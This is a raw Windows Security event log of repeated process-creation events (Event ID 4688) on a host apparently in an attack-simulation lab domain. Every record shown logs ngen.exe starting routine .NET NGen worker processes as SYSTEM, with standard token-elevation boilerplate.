Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 268 -Pipe 28c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255218 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 850 -Pipe 288 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255217 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 82c -Pipe 260 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255220 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 888 -Pipe 850 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255219 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 880 -Pipe 2b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255226 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7e8 -InterruptEvent 0 -NGENProcess 868 -Pipe 2e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255225 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 884 -Pipe 87c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255224 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 860 -InterruptEvent 0 -NGENProcess 88c -Pipe 2ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255223 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 880 -Pipe 2dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255222 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 7e8 -Pipe 86c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255221 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2dc -Pipe 250 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255227 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 874 -InterruptEvent 0 -NGENProcess 81c -Pipe 864 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255228 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x598 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 870 -InterruptEvent 0 -NGENProcess 878 -Pipe 840 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255230 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8bc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 888 -Pipe 898 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255229 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 89c -InterruptEvent 0 -NGENProcess 874 -Pipe 878 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255232 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 84c -InterruptEvent 0 -NGENProcess 874 -Pipe 860 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255231 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 89c -InterruptEvent 0 -NGENProcess 368 -Pipe 880 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255236 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8a0 -InterruptEvent 0 -NGENProcess 894 -Pipe 888 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255235 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 88c -InterruptEvent 0 -NGENProcess 874 -Pipe 1e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited 